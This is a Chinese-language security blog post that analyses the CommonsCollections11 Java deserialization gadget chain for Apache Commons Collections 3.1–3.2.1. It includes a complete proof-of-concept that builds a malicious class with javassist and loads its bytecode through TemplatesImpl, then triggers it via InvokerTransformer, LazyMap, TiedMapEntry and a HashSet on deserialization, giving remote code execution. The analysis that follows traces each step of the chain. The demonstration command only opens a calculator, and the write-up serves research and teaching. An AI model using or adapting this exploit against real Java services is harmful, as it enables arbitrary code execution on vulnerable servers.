0x00 前言

在看三梦师傅有关内存马的文章的时候,发现三梦师傅是用 cc11 打的,之前也听队里的丁师傅说过 cc11 蛮好用的,这次既然遇到了就来看一下

cc11 好用的原因个人认为主要是 能够像 cc2 一样加载恶意字节码,同时受影响的版本还是 CommonsCollections 3.1-3.2.1 这个版本相对 CommonsCollections 4.0 范围应该会更广一些

个人觉得像是 cc2 和 cc6 的杂交

0x01 正文

利用版本

CommonsCollections 3.1-3.2.1

限制

JDK版本:暂无限制

Poc

  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import javassist.ClassClassPath;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.FileInputStream;
  10. import java.io.FileOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Constructor;
  14. import java.lang.reflect.Field;
  15. import java.util.HashMap;
  16. import java.util.HashSet;
  17. @SuppressWarnings("all")
  18. public class cc11 {
  19. public static void main(String[] args) throws Exception {
  20. // 利用javasist动态创建恶意字节码
  21. ClassPool pool = ClassPool.getDefault();
  22. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  23. CtClass cc = pool.makeClass("Cat");
  24. String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
  25. cc.makeClassInitializer().insertBefore(cmd);
  26. String randomClassName = "EvilCat" + System.nanoTime();
  27. cc.setName(randomClassName);
  28. cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
  29. // 写入.class 文件
  30. // 将我的恶意类转成字节码,并且反射设置 bytecodes
  31. byte[] classBytes = cc.toBytecode();
  32. byte[][] targetByteCodes = new byte[][]{classBytes};
  33. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  34. Field f0 = templates.getClass().getDeclaredField("_bytecodes");
  35. f0.setAccessible(true);
  36. f0.set(templates,targetByteCodes);
  37. f0 = templates.getClass().getDeclaredField("_name");
  38. f0.setAccessible(true);
  39. f0.set(templates,"name");
  40. f0 = templates.getClass().getDeclaredField("_class");
  41. f0.setAccessible(true);
  42. f0.set(templates,null);
  43. InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
  44. HashMap innermap = new HashMap();
  45. LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  46. TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
  47. HashSet hashset = new HashSet(1);
  48. hashset.add("foo");
  49. Field f = null;
  50. try {
  51. f = HashSet.class.getDeclaredField("map");
  52. } catch (NoSuchFieldException e) {
  53. f = HashSet.class.getDeclaredField("backingMap");
  54. }
  55. f.setAccessible(true);
  56. HashMap hashset_map = (HashMap) f.get(hashset);
  57. Field f2 = null;
  58. try {
  59. f2 = HashMap.class.getDeclaredField("table");
  60. } catch (NoSuchFieldException e) {
  61. f2 = HashMap.class.getDeclaredField("elementData");
  62. }
  63. f2.setAccessible(true);
  64. Object[] array = (Object[])f2.get(hashset_map);
  65. Object node = array[0];
  66. if(node == null){
  67. node = array[1];
  68. }
  69. Field keyField = null;
  70. try{
  71. keyField = node.getClass().getDeclaredField("key");
  72. }catch(Exception e){
  73. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  74. }
  75. keyField.setAccessible(true);
  76. keyField.set(node,tiedmap);
  77. Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  78. f3.setAccessible(true);
  79. f3.set(transformer,"newTransformer");
  80. try{
  81. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
  82. outputStream.writeObject(hashset);
  83. outputStream.close();
  84. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
  85. inputStream.readObject();
  86. }catch(Exception e){
  87. e.printStackTrace();
  88. }
  89. }
  90. }

分析

前半段就是利用 javasist 动态生成恶意类,这块在前文 cc2 的分析中提及过,所以就不重再赘述了

image.png

我们主要来分析后面的部分

首先来看一下利用链,有没有发现很熟悉,这不就是 cc6 Poc 的后半部分吗233

  1. java.io.ObjectInputStream.readObject()
  2. java.util.HashSet.readObject()
  3. java.util.HashMap.put()
  4. java.util.HashMap.hash()
  5. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  6. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  7. org.apache.commons.collections.map.LazyMap.get()
  8. org.apache.commons.collections.functors.InvokerTransformer.transform()
  9. java.lang.reflect.Method.invoke()
  10. ... templates gadgets ...
  11. java.lang.Runtime.exec()

在 cc11 中最后是利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 加载恶意字节码来实现的触发的

CommonsCollections11 分析 - 图2

接下来我们具体分析一下,在 cc11 的 payload 中,我们发现并没有使用之前的链,而是只用了 InvokerTransformer ,通过构造函数将 toString 进行传入(其实这里的 toString 只是占位的作用,后面会利用反射进行修改)

InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

CommonsCollections11 分析 - 图3

然后将我们的 transformer 传入到了 LazyMap#decorate 中

CommonsCollections11 分析 - 图4

在 LazyMap#get 中会调用我们传入的 transformer 的 transform ,所以后面我们只要找到调用 LazyMap#get 就能进行触发

CommonsCollections11 分析 - 图5

后面就和 cc6 后半部分一样,这边简单说一下,具体分析可以查看上一篇文章:https://www.yuque.com/tianxiadamutou/zcfd4v/ac9529#df9c9706-4

在 TiedMapEntry#getValue 中调用了 get 方法,且 map 我们可控,为了扩大利用范围我们需要找到调用 getValue 的地方

CommonsCollections11 分析 - 图6

发现在 hashCode 中调用了,所以接下来我们需要找一个获取哈希的地方

CommonsCollections11 分析 - 图7

所以这里又找到了 HashMap#put,如果 key 可控就会调用 key 的 hashCode 函数,所以接下来目标就是寻找 HashMap#put 且传入的 key 可控

CommonsCollections11 分析 - 图8

CommonsCollections11 分析 - 图9

这里利用了 HashSet#readObject ,如果我们能控制 e 那么就有可能触发,这里 e 是根据 s 反序列化得来的

CommonsCollections11 分析 - 图10

我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE

CommonsCollections11 分析 - 图11

所以我们这里利用反射来进行设置

  1. Field f = null;
  2. try {
  3. f = HashSet.class.getDeclaredField("map");
  4. } catch (NoSuchFieldException e) {
  5. f = HashSet.class.getDeclaredField("backingMap");
  6. }
  7. f.setAccessible(true);
  8. HashMap hashset_map = (HashMap) f.get(hashset);
  9. Field f2 = null;
  10. try {
  11. f2 = HashMap.class.getDeclaredField("table");
  12. } catch (NoSuchFieldException e) {
  13. f2 = HashMap.class.getDeclaredField("elementData");
  14. }
  15. f2.setAccessible(true);
  16. Object[] array = (Object[])f2.get(hashset_map);
  17. Object node = array[0];
  18. if(node == null){
  19. node = array[1];
  20. }
  21. Field keyField = null;
  22. try{
  23. keyField = node.getClass().getDeclaredField("key");
  24. }catch(Exception e){
  25. keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  26. }
  27. keyField.setAccessible(true);
  28. keyField.set(node,tiedmap);

最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)

  1. Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  2. f3.setAccessible(true);
  3. f3.set(transformer,"newTransformer");

所以其实前面的 toString 也可以改为其他的参数,我在本地修改为其他的也可以正常进行触发

CommonsCollections11 分析 - 图12

0x02 总结

cc11 分析下来发现还是非常好用的,毕竟可以加载恶意字节码,同时利用范围也比较大,后面感兴趣的可以自行添加到 yso 中